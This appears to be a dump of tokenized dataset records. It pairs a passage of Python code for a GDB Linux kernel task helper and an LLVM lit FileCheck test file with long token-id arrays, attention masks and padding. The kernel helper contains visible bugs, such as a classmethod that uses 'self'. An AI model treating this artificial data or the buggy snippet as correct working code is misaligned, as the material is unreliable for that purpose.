self.pgd_addr = long(mm['pgd']) self.mem_valid = True def is_kernel_task(self): if self.task_struct['pid'] == 0: return True if self.is_zombie() or self.is_exiting(): return False mm = self.task_struct['mm'] if mm == 0: return True elif self.init_mm and mm == self.init_mm.address: return True return False @classmethod def set_get_stack_pointer(cls, fn): cls.get_stack_pointer_fn = fn @classmethod def get_stack_pointer(cls): # This unbinds the function from the task object so we don't # pass self to the function. fn = cls.get_stack_pointer_fn return fn(self.thread) def get_rss_field(self): return long(self.task_struct['mm']['rss'].value()) def get__rss_field(self): return long(self.task_struct['mm']['_rss'].value()) def get_rss_stat_field(self): stat = self.task_struct['mm']['rss_stat']['count'] stat0 = self.task_struct['mm']['rss_stat']['count'][0] rss = 0 for i in range(stat.type.sizeof // stat[0].type.sizeof): rss += long(stat[i]['counter']) return rss def get_anon_file_rss_fields(self): mm = self.task_struct['mm'] rss = 0 for name in ['_anon_rss', '_file_rss']: if name in mm_struct_fields: if mm[name].type == self.atomic_long_type: rss += long(mm[name]['counter']) else: rss += long(mm[name]) return rss # The Pythonic way to do this is by generating the LinuxTask class # dynamically. We may do that eventually, but for now we can just # select the proper function and assign it to the class. @classmethod def pick_get_rss(cls): if 'rss' in cls.mm_struct_fields: cls.get_rss = cls.get_rss_field elif '_rss' in cls.mm_struct_fields: cls.get_rss = cls.get__rss_field elif 'rss_stat' in cls.mm_struct_fields: cls.MM_FILEPAGES = get_value('MM_FILEPAGES') cls.MM_ANONPAGES = get_value('MM_ANONPAGES') cls.get_rss = cls.get_rss_stat_field elif '_anon_rss' in cls.mm_struct_fields or \ '_file_rss' in cls.mm_struct_fields: cls.atomic_long_type = gdb.lookup_type('atomic_long_t') cls.get_rss = cls.get_anon_file_rss_fields else: raise RuntimeError("No method to retrieve RSS from task found.") def last_run__last_run(self): return long(self.task_struct['last_run']) def last_run__timestamp(self): return long(self.task_struct['timestamp']) def last_run__last_arrival(self): return long(self.task_struct['sched_info']['last_arrival']) @classmethod def pick_last_run(cls): fields = cls.task_struct_type.keys() if ('sched_info' in fields and 'last_arrival' in cls.task_struct_type['sched_info'].type.keys()): cls.last_run = cls.last_run__last_arrival elif 'last_run' in fields: cls.last_run = cls.last_run__last_run elif 'timestamp' in fields: cls.last_run = cls.last_run__timestamp else: raise RuntimeError("No method to retrieve last run from task found.")
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 6695, 26, 409, 20105, 29, 20, 25966, 29, 20, 26414, 1318, 2063, 29, 1965, 26, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 199, 646, 12124, 199, 646, 984, 199, 199, 692, 984, 14, 1023, 63, 815, 14, 8452, 2356, 650, 26, 272, 1846, 275, 1109, 199, 199, 504, 12420, 14, 1974, 492, 1625, 63, 890, 199, 504, 12420, 14, 19505, 492, 30277, 1119, 1563, 2543, 199, 504, 12420, 14, 19505, 14, 3892, 492, 18464, 1187, 379, 1110, 12, 8089, 3697, 12, 664, 63, 21830, 63, 3892, 199, 199, 10966, 63, 17219, 1206, 275, 1846, 8, 16, 88, 20, 9, 199, 199, 318, 664, 63, 585, 8, 3840, 354, 304, 272, 4678, 275, 12124, 14, 3892, 63, 5155, 8, 3840, 354, 12, 1853, 29, 403, 12, 2881, 29, 17119, 14, 10527, 63, 5568, 63, 7378, 9, 272, 340, 4678, 59, 16, 2189, 267, 372, 4678, 59, 16, 1055, 585, 342, 199, 199, 533, 8495, 2223, 6381, 8, 17345, 1119, 1563, 2543, 304, 272, 636, 1313, 363, 275, 359, 283, 1560, 6039, 283, 1820, 2120, 63, 1820, 7, 1622, 272, 636, 3840, 3643, 363, 275, 359, 283, 1765, 63, 929, 63, 1144, 7, 1622, 272, 636, 5155, 63, 11948, 363, 275, 359, 661, 1765, 63, 929, 63, 1144, 297, 283, 1765, 63, 929, 63, 2469, 63, 3058, 358, 1622, 272, 636, 21830, 63, 1459, 363, 275, 359, 283, 17179, 63, 17305, 297, 283, 17179, 63, 3843, 9343, 7187, 297, 2574, 283, 17179, 63, 1734, 3843, 9343, 7187, 297, 283, 17179, 63, 58, 47, 4567, 4332, 297, 2574, 283, 17179, 63, 11632, 19359, 297, 283, 17179, 63, 8745, 7121, 1206, 297, 283, 17179, 63, 29647, 1668, 5399, 7, 1622, 339, 768, 3744, 272, 347, 2120, 63, 929, 63, 2469, 63, 3058, 8, 1886, 12, 5272, 304, 267, 2338, 275, 1625, 63, 890, 8, 1886, 14, 1765, 63, 929, 63, 1144, 9, 398, 4546, 275, 378, 267, 367, 284, 315, 1425, 8, 835, 304, 288, 1174, 275, 843, 14, 1765, 63, 929, 63, 1144, 59, 73, 1055, 875, 342, 288, 1174, 63, 5465, 275, 469, 355, 8189, 5720, 3171, 420, 520, 283, 17179, 63, 17305, 297, 355, 8189, 4532, 316, 3171, 258, 520, 283, 17179, 63, 3843, 9343, 7187, 297, 355, 8189, 4032, 9435, 3171, 257, 520, 283, 17179, 63, 1734, 3843, 9343, 7187, 297, 355, 8189, 14661, 3171, 420, 520, 283, 17179, 63, 11632, 19359, 297, 355, 8189, 90, 24370, 1873, 3171, 755, 520, 283, 17179, 63, 58, 47, 4567, 4332, 297, 355, 327, 6774, 10957, 3171, 263, 520, 283, 17179, 63, 29031, 297, 355, 8189, 3519, 3262, 3171, 258, 520, 283, 17179, 63, 8745, 7121, 1206, 297, 355, 327, 6774, 21635, 3631, 3171, 520, 283, 17179, 63, 1766, 1348, 1206, 63, 11632, 19359, 297, 355, 8189, 15181, 8997, 3171, 258, 520, 283, 17179, 63, 9004, 2430, 30691, 297, 355, 8189, 758, 17443, 3171, 755, 520, 283, 17179, 63, 55, 7872, 1206, 297, 288, 789, 953, 367, 790, 315, 1174, 63, 5465, 26, 355, 340, 790, 315, 1174, 26, 490, 862, 26, 717, 26869, 275, 664, 63, 21830, 63, 3892, 8, 1886, 12, 1174, 63, 5465, 59, 498, 566, 717, 26869, 14, 3058, 8, 2075, 9, 490, 871, 4067, 26, 717, 5371, 8, 1886, 12, 1174, 63, 5465, 59, 498, 467, 4546, 9, 355, 340, 8189, 10957, 3171, 315, 1174, 26, 490, 843, 14, 17179, 63, 29031, 275, 4546, 355, 340, 8189, 21635, 3631, 3171, 315, 1174, 26, 490, 843, 14, 17179, 63, 1766, 1348, 1206, 63, 11632, 19359, 275, 4546, 288, 340, 4546, 508, 378, 26, 355, 4546, 275, 413, 288, 587, 26, 355, 4546, 5213, 29, 413, 267, 843, 14, 1074, 63, 929, 63, 5609, 342, 339, 768, 3744, 272, 347, 1104, 63, 929, 63, 5609, 8, 1886, 304, 267, 1415, 275, 359, 288, 283, 17179, 63, 17305, 297, 288, 283, 17179, 63, 3843, 9343, 7187, 297, 288, 283, 17179, 63, 1734, 3843, 9343, 7187, 297, 288, 283, 17179, 63, 58, 47, 4567, 4332, 297, 288, 283, 17179, 63, 11632, 19359, 297, 267, 1622, 398, 4124, 275, 942, 398, 367, 4546, 315, 1415, 26, 288, 340, 440, 2688, 8, 1886, 12, 4546, 304, 355, 4124, 14, 740, 8, 2075, 9, 398, 340, 822, 8, 4752, 304, 288, 746, 6064, 480, 7718, 1415, 2120, 6363, 26, 1052, 2, 3044, 1275, 908, 11854, 1674, 904, 8, 4752, 1724, 199, 199, 6145, 275, 8495, 2223, 6381, 199, 199, 533, 8857, 4476, 547, 8, 4333, 304, 272, 1499, 1160, 275, 298, 1765, 63, 1820, 1471, 506, 12124, 14, 1110, 13660, 2702, 2120, 63, 1820, 440, 1052, 2, 272, 347, 636, 826, 721, 277, 12, 2120, 304, 267, 340, 1228, 8, 1765, 12, 12124, 14, 1110, 304, 288, 730, 3257, 275, 2120, 14, 466, 267, 587, 26, 288, 730, 3257, 275, 730, 8, 1765, 9, 267, 1613, 8, 5725, 4476, 547, 12, 291, 2843, 826, 721, 277, 14, 1328, 1160, 14, 908, 8, 466, 3257, 430, 199, 199, 533, 10130, 4476, 8, 785, 304, 272, 2120, 63, 1820, 63, 466, 275, 488, 272, 8562, 63, 1820, 63, 955, 275, 488, 272, 664, 63, 13614, 275, 488, 272, 664, 63, 2340, 63, 3929, 63, 2324, 275, 488, 272, 1686, 275, 756, 339, 347, 636, 826, 721, 277, 12, 2120, 63, 1820, 12, 4702, 29, 797, 12, 5033, 29, 403, 12, 295, 458, 29, 403, 304, 267, 291, 14, 826, 63, 1765, 63, 1313, 8, 1765, 63, 1820, 9, 398, 340, 5033, 365, 440, 488, 436, 440, 1228, 8, 3541, 12, 1109, 304, 288, 746, 3146, 480, 3541, 1471, 506, 3000, 503, 488, 531, 398, 340, 440, 334, 6074, 8, 1765, 63, 1820, 12, 12124, 14, 1110, 9, 436, 355, 334, 1765, 63, 1820, 14, 466, 508, 291, 14, 1765, 63, 1820, 63, 466, 503, 326, 2120, 63, 1820, 14, 466, 508, 291, 14, 1765, 63, 1820, 63, 466, 14, 3929, 28256, 355, 746, 8857, 4476, 547, 8, 1765, 63, 1820, 9, 398, 291, 14, 1765, 63, 1820, 275, 2120, 63, 1820, 267, 291, 14, 2682, 275, 4702, 267, 291, 14, 3541 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 6695, 26, 409, 20105, 29, 20, 25966, 29, 20, 26414, 1318, 2063, 29, 1965, 26, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 199, 646, 12124, 199, 646, 984, 199, 199, 692, 984, 14, 1023, 63, 815, 14, 8452, 2356, 650, 26, 272, 1846, 275, 1109, 199, 199, 504, 12420, 14, 1974, 492, 1625, 63, 890, 199, 504, 12420, 14, 19505, 492, 30277, 1119, 1563, 2543, 199, 504, 12420, 14, 19505, 14, 3892, 492, 18464, 1187, 379, 1110, 12, 8089, 3697, 12, 664, 63, 21830, 63, 3892, 199, 199, 10966, 63, 17219, 1206, 275, 1846, 8, 16, 88, 20, 9, 199, 199, 318, 664, 63, 585, 8, 3840, 354, 304, 272, 4678, 275, 12124, 14, 3892, 63, 5155, 8, 3840, 354, 12, 1853, 29, 403, 12, 2881, 29, 17119, 14, 10527, 63, 5568, 63, 7378, 9, 272, 340, 4678, 59, 16, 2189, 267, 372, 4678, 59, 16, 1055, 585, 342, 199, 199, 533, 8495, 2223, 6381, 8, 17345, 1119, 1563, 2543, 304, 272, 636, 1313, 363, 275, 359, 283, 1560, 6039, 283, 1820, 2120, 63, 1820, 7, 1622, 272, 636, 3840, 3643, 363, 275, 359, 283, 1765, 63, 929, 63, 1144, 7, 1622, 272, 636, 5155, 63, 11948, 363, 275, 359, 661, 1765, 63, 929, 63, 1144, 297, 283, 1765, 63, 929, 63, 2469, 63, 3058, 358, 1622, 272, 636, 21830, 63, 1459, 363, 275, 359, 283, 17179, 63, 17305, 297, 283, 17179, 63, 3843, 9343, 7187, 297, 2574, 283, 17179, 63, 1734, 3843, 9343, 7187, 297, 283, 17179, 63, 58, 47, 4567, 4332, 297, 2574, 283, 17179, 63, 11632, 19359, 297, 283, 17179, 63, 8745, 7121, 1206, 297, 283, 17179, 63, 29647, 1668, 5399, 7, 1622, 339, 768, 3744, 272, 347, 2120, 63, 929, 63, 2469, 63, 3058, 8, 1886, 12, 5272, 304, 267, 2338, 275, 1625, 63, 890, 8, 1886, 14, 1765, 63, 929, 63, 1144, 9, 398, 4546, 275, 378, 267, 367, 284, 315, 1425, 8, 835, 304, 288, 1174, 275, 843, 14, 1765, 63, 929, 63, 1144, 59, 73, 1055, 875, 342, 288, 1174, 63, 5465, 275, 469, 355, 8189, 5720, 3171, 420, 520, 283, 17179, 63, 17305, 297, 355, 8189, 4532, 316, 3171, 258, 520, 283, 17179, 63, 3843, 9343, 7187, 297, 355, 8189, 4032, 9435, 3171, 257, 520, 283, 17179, 63, 1734, 3843, 9343, 7187, 297, 355, 8189, 14661, 3171, 420, 520, 283, 17179, 63, 11632, 19359, 297, 355, 8189, 90, 24370, 1873, 3171, 755, 520, 283, 17179, 63, 58, 47, 4567, 4332, 297, 355, 327, 6774, 10957, 3171, 263, 520, 283, 17179, 63, 29031, 297, 355, 8189, 3519, 3262, 3171, 258, 520, 283, 17179, 63, 8745, 7121, 1206, 297, 355, 327, 6774, 21635, 3631, 3171, 520, 283, 17179, 63, 1766, 1348, 1206, 63, 11632, 19359, 297, 355, 8189, 15181, 8997, 3171, 258, 520, 283, 17179, 63, 9004, 2430, 30691, 297, 355, 8189, 758, 17443, 3171, 755, 520, 283, 17179, 63, 55, 7872, 1206, 297, 288, 789, 953, 367, 790, 315, 1174, 63, 5465, 26, 355, 340, 790, 315, 1174, 26, 490, 862, 26, 717, 26869, 275, 664, 63, 21830, 63, 3892, 8, 1886, 12, 1174, 63, 5465, 59, 498, 566, 717, 26869, 14, 3058, 8, 2075, 9, 490, 871, 4067, 26, 717, 5371, 8, 1886, 12, 1174, 63, 5465, 59, 498, 467, 4546, 9, 355, 340, 8189, 10957, 3171, 315, 1174, 26, 490, 843, 14, 17179, 63, 29031, 275, 4546, 355, 340, 8189, 21635, 3631, 3171, 315, 1174, 26, 490, 843, 14, 17179, 63, 1766, 1348, 1206, 63, 11632, 19359, 275, 4546, 288, 340, 4546, 508, 378, 26, 355, 4546, 275, 413, 288, 587, 26, 355, 4546, 5213, 29, 413, 267, 843, 14, 1074, 63, 929, 63, 5609, 342, 339, 768, 3744, 272, 347, 1104, 63, 929, 63, 5609, 8, 1886, 304, 267, 1415, 275, 359, 288, 283, 17179, 63, 17305, 297, 288, 283, 17179, 63, 3843, 9343, 7187, 297, 288, 283, 17179, 63, 1734, 3843, 9343, 7187, 297, 288, 283, 17179, 63, 58, 47, 4567, 4332, 297, 288, 283, 17179, 63, 11632, 19359, 297, 267, 1622, 398, 4124, 275, 942, 398, 367, 4546, 315, 1415, 26, 288, 340, 440, 2688, 8, 1886, 12, 4546, 304, 355, 4124, 14, 740, 8, 2075, 9, 398, 340, 822, 8, 4752, 304, 288, 746, 6064, 480, 7718, 1415, 2120, 6363, 26, 1052, 2, 3044, 1275, 908, 11854, 1674, 904, 8, 4752, 1724, 199, 199, 6145, 275, 8495, 2223, 6381, 199, 199, 533, 8857, 4476, 547, 8, 4333, 304, 272, 1499, 1160, 275, 298, 1765, 63, 1820, 1471, 506, 12124, 14, 1110, 13660, 2702, 2120, 63, 1820, 440, 1052, 2, 272, 347, 636, 826, 721, 277, 12, 2120, 304, 267, 340, 1228, 8, 1765, 12, 12124, 14, 1110, 304, 288, 730, 3257, 275, 2120, 14, 466, 267, 587, 26, 288, 730, 3257, 275, 730, 8, 1765, 9, 267, 1613, 8, 5725, 4476, 547, 12, 291, 2843, 826, 721, 277, 14, 1328, 1160, 14, 908, 8, 466, 3257, 430, 199, 199, 533, 10130, 4476, 8, 785, 304, 272, 2120, 63, 1820, 63, 466, 275, 488, 272, 8562, 63, 1820, 63, 955, 275, 488, 272, 664, 63, 13614, 275, 488, 272, 664, 63, 2340, 63, 3929, 63, 2324, 275, 488, 272, 1686, 275, 756, 339, 347, 636, 826, 721, 277, 12, 2120, 63, 1820, 12, 4702, 29, 797, 12, 5033, 29, 403, 12, 295, 458, 29, 403, 304, 267, 291, 14, 826, 63, 1765, 63, 1313, 8, 1765, 63, 1820, 9, 398, 340, 5033, 365, 440, 488, 436, 440, 1228, 8, 3541, 12, 1109, 304, 288, 746, 3146, 480, 3541, 1471, 506, 3000, 503, 488, 531, 398, 340, 440, 334, 6074, 8, 1765, 63, 1820, 12, 12124, 14, 1110, 9, 436, 355, 334, 1765, 63, 1820, 14, 466, 508, 291, 14, 1765, 63, 1820, 63, 466, 503, 326, 2120, 63, 1820, 14, 466, 508, 291, 14, 1765, 63, 1820, 63, 466, 14, 3929, 28256, 355, 746, 8857, 4476, 547, 8, 1765, 63, 1820, 9, 398, 291, 14, 1765, 63, 1820, 275, 2120, 63, 1820, 267, 291, 14, 2682, 275, 4702, 267, 291, 14, 3541, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
hoangt/goblin-core
riscv/llvm/3.5/llvm-3.5.0.src/utils/lit/tests/shtest-format.py
56
2520
# Check the various features of the ShTest format. # # RUN: not %{lit} -j 1 -v %{inputs}/shtest-format > %t.out # RUN: FileCheck < %t.out %s # # END. # CHECK: -- Testing: # CHECK: PASS: shtest-format :: argv0.txt # CHECK: FAIL: shtest-format :: external_shell/fail.txt # CHECK-NEXT: *** TEST 'shtest-format :: external_shell/fail.txt' FAILED *** # CHECK: Command Output (stdout): # CHECK-NEXT: -- # CHECK-NEXT: line 1: failed test output on stdout # CHECK-NEXT: line 2: failed test output on stdout # CHECK: Command Output (stderr): # CHECK-NEXT: -- # CHECK-NEXT: cat: does-not-exist: No such file or directory # CHECK: -- # CHECK: FAIL: shtest-format :: external_shell/fail_with_bad_encoding.txt # CHECK-NEXT: *** TEST 'shtest-format :: external_shell/fail_with_bad_encoding.txt' FAILED *** # CHECK: Command Output (stdout): # CHECK-NEXT: -- # CHECK-NEXT: a line with bad encoding: # CHECK: -- # CHECK: PASS: shtest-format :: external_shell/pass.txt # CHECK: FAIL: shtest-format :: fail.txt # CHECK-NEXT: *** TEST 'shtest-format :: fail.txt' FAILED *** # CHECK-NEXT: Script: # CHECK-NEXT: -- # CHECK-NEXT: printf "line 1 # CHECK-NEXT: false # CHECK-NEXT: -- # CHECK-NEXT: Exit Code: 1 # # CHECK: Command Output (stdout): # CHECK-NEXT: -- # CHECK-NEXT: Command 0: "printf" # CHECK-NEXT: Command 0 Result: 0 # CHECK-NEXT: Command 0 Output: # CHECK-NEXT: line 1: failed test output on stdout # CHECK-NEXT: line 2: failed test output on stdout # CHECK: UNRESOLVED: shtest-format :: no-test-line.txt # CHECK: PASS: shtest-format :: pass.txt # CHECK: UNSUPPORTED: shtest-format :: requires-missing.txt # CHECK: PASS: shtest-format :: requires-present.txt # CHECK: UNSUPPORTED: shtest-format :: unsupported_dir/some-test.txt # CHECK: XFAIL: shtest-format :: xfail-feature.txt # CHECK: XFAIL: shtest-format :: xfail-target.txt # CHECK: XFAIL: shtest-format :: xfail.txt # CHECK: XPASS: shtest-format :: xpass.txt # CHECK-NEXT: *** TEST 'shtest-format :: xpass.txt' FAILED *** # CHECK-NEXT: Script # CHECK-NEXT: -- # CHECK-NEXT: true # CHECK-NEXT: -- # CHECK: Testing Time # CHECK: Unexpected Passing Tests (1) # CHECK: shtest-format :: xpass.txt # CHECK: Failing Tests (3) # CHECK: shtest-format :: external_shell/fail.txt # CHECK: shtest-format :: external_shell/fail_with_bad_encoding.txt # CHECK: shtest-format :: fail.txt # CHECK: Expected Passes : 4 # CHECK: Expected Failures : 3 # CHECK: Unsupported Tests : 2 # CHECK: Unresolved Tests : 1 # CHECK: Unexpected Passes : 1 # CHECK: Unexpected Failures: 3
bsd-3-clause
[ 3, 2670, 314, 7750, 4534, 402, 314, 5244, 774, 1475, 14, 199, 3, 199, 3, 21277, 26, 440, 450, 91, 1051, 93, 446, 74, 413, 446, 86, 450, 91, 3711, 5995, 609, 396, 13, 908, 690, 450, 84, 14, 548, 199, 3, 21277, 26, 3814, 1799, 665, 450, 84, 14, 548, 450, 83, 199, 3, 199, 3, 7729, 14, 199, 199, 3, 17654, 26, 1553, 11940, 26, 199, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 9238, 16, 14, 2424, 199, 3, 17654, 26, 10341, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 26, 5817, 7242, 334, 2703, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 1004, 413, 26, 3405, 511, 1072, 641, 3839, 199, 3, 17654, 13, 21917, 26, 1004, 499, 26, 3405, 511, 1072, 641, 3839, 199, 3, 17654, 26, 5817, 7242, 334, 3083, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 6230, 26, 1630, 13, 1397, 13, 4494, 26, 3091, 4066, 570, 503, 2082, 199, 3, 17654, 26, 1553, 199, 199, 3, 17654, 26, 10341, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 63, 1045, 63, 4087, 63, 2991, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 63, 1045, 63, 4087, 63, 2991, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 26, 5817, 7242, 334, 2703, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 282, 1004, 543, 4875, 2644, 26, 199, 3, 17654, 26, 1553, 199, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1529, 14, 2424, 199, 199, 3, 17654, 26, 10341, 26, 1033, 396, 13, 908, 3800, 2449, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 2449, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 13, 21917, 26, 14914, 26, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 870, 70, 298, 604, 413, 199, 3, 17654, 13, 21917, 26, 3055, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 18704, 5495, 26, 413, 199, 3, 199, 3, 17654, 26, 5817, 7242, 334, 2703, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 5817, 378, 26, 298, 19139, 2, 199, 3, 17654, 13, 21917, 26, 5817, 378, 10695, 26, 378, 199, 3, 17654, 13, 21917, 26, 5817, 378, 7242, 26, 199, 3, 17654, 13, 21917, 26, 1004, 413, 26, 3405, 511, 1072, 641, 3839, 199, 3, 17654, 13, 21917, 26, 1004, 499, 26, 3405, 511, 1072, 641, 3839, 199, 199, 3, 17654, 26, 6778, 3830, 2228, 14112, 26, 1033, 396, 13, 908, 3800, 949, 13, 396, 13, 604, 14, 2424, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 986, 14, 2424, 199, 3, 17654, 26, 32708, 2160, 3657, 1149, 26, 1033, 396, 13, 908, 3800, 5074, 13, 4752, 14, 2424, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 5074, 13, 1881, 14, 2424, 199, 3, 17654, 26, 32708, 2160, 3657, 1149, 26, 1033, 396, 13, 908, 3800, 16313, 63, 694, 15, 3972, 13, 396, 14, 2424, 199, 3, 17654, 26, 1323, 8784, 26, 1033, 396, 13, 908, 3800, 671, 1633, 13, 4445, 14, 2424, 199, 3, 17654, 26, 1323, 8784, 26, 1033, 396, 13, 908, 3800, 671, 1633, 13, 1375, 14, 2424, 199, 3, 17654, 26, 1323, 8784, 26, 1033, 396, 13, 908, 3800, 671, 1633, 14, 2424, 199, 3, 17654, 26, 1323, 6909, 26, 1033, 396, 13, 908, 3800, 671, 1529, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 671, 1529, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 13, 21917, 26, 14914, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 2549, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 26, 11940, 4703, 199, 199, 3, 17654, 26, 25345, 31755, 6496, 334, 17, 9, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 671, 1529, 14, 2424, 199, 199, 3, 17654, 26, 12176, 316, 6496, 334, 19, 9, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 14, 2424, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 63, 1045, 63, 4087, 63, 2991, 14, 2424, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 2449, 14, 2424, 199, 199, 3, 17654, 26, 13796, 510, 1916, 259, 520, 841, 199, 3, 17654, 26, 13796, 12176, 1482, 221, 520, 650, 199, 3, 17654, 26, 19022, 6496, 221, 520, 499, 199, 3, 17654, 26, 1910, 13697, 6496, 257, 520, 413, 199, 3, 17654, 26, 25345, 510, 1916, 221, 520, 413, 199, 3, 17654, 26, 25345, 12176, 1482, 26, 650, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2670, 314, 7750, 4534, 402, 314, 5244, 774, 1475, 14, 199, 3, 199, 3, 21277, 26, 440, 450, 91, 1051, 93, 446, 74, 413, 446, 86, 450, 91, 3711, 5995, 609, 396, 13, 908, 690, 450, 84, 14, 548, 199, 3, 21277, 26, 3814, 1799, 665, 450, 84, 14, 548, 450, 83, 199, 3, 199, 3, 7729, 14, 199, 199, 3, 17654, 26, 1553, 11940, 26, 199, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 9238, 16, 14, 2424, 199, 3, 17654, 26, 10341, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 26, 5817, 7242, 334, 2703, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 1004, 413, 26, 3405, 511, 1072, 641, 3839, 199, 3, 17654, 13, 21917, 26, 1004, 499, 26, 3405, 511, 1072, 641, 3839, 199, 3, 17654, 26, 5817, 7242, 334, 3083, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 6230, 26, 1630, 13, 1397, 13, 4494, 26, 3091, 4066, 570, 503, 2082, 199, 3, 17654, 26, 1553, 199, 199, 3, 17654, 26, 10341, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 63, 1045, 63, 4087, 63, 2991, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 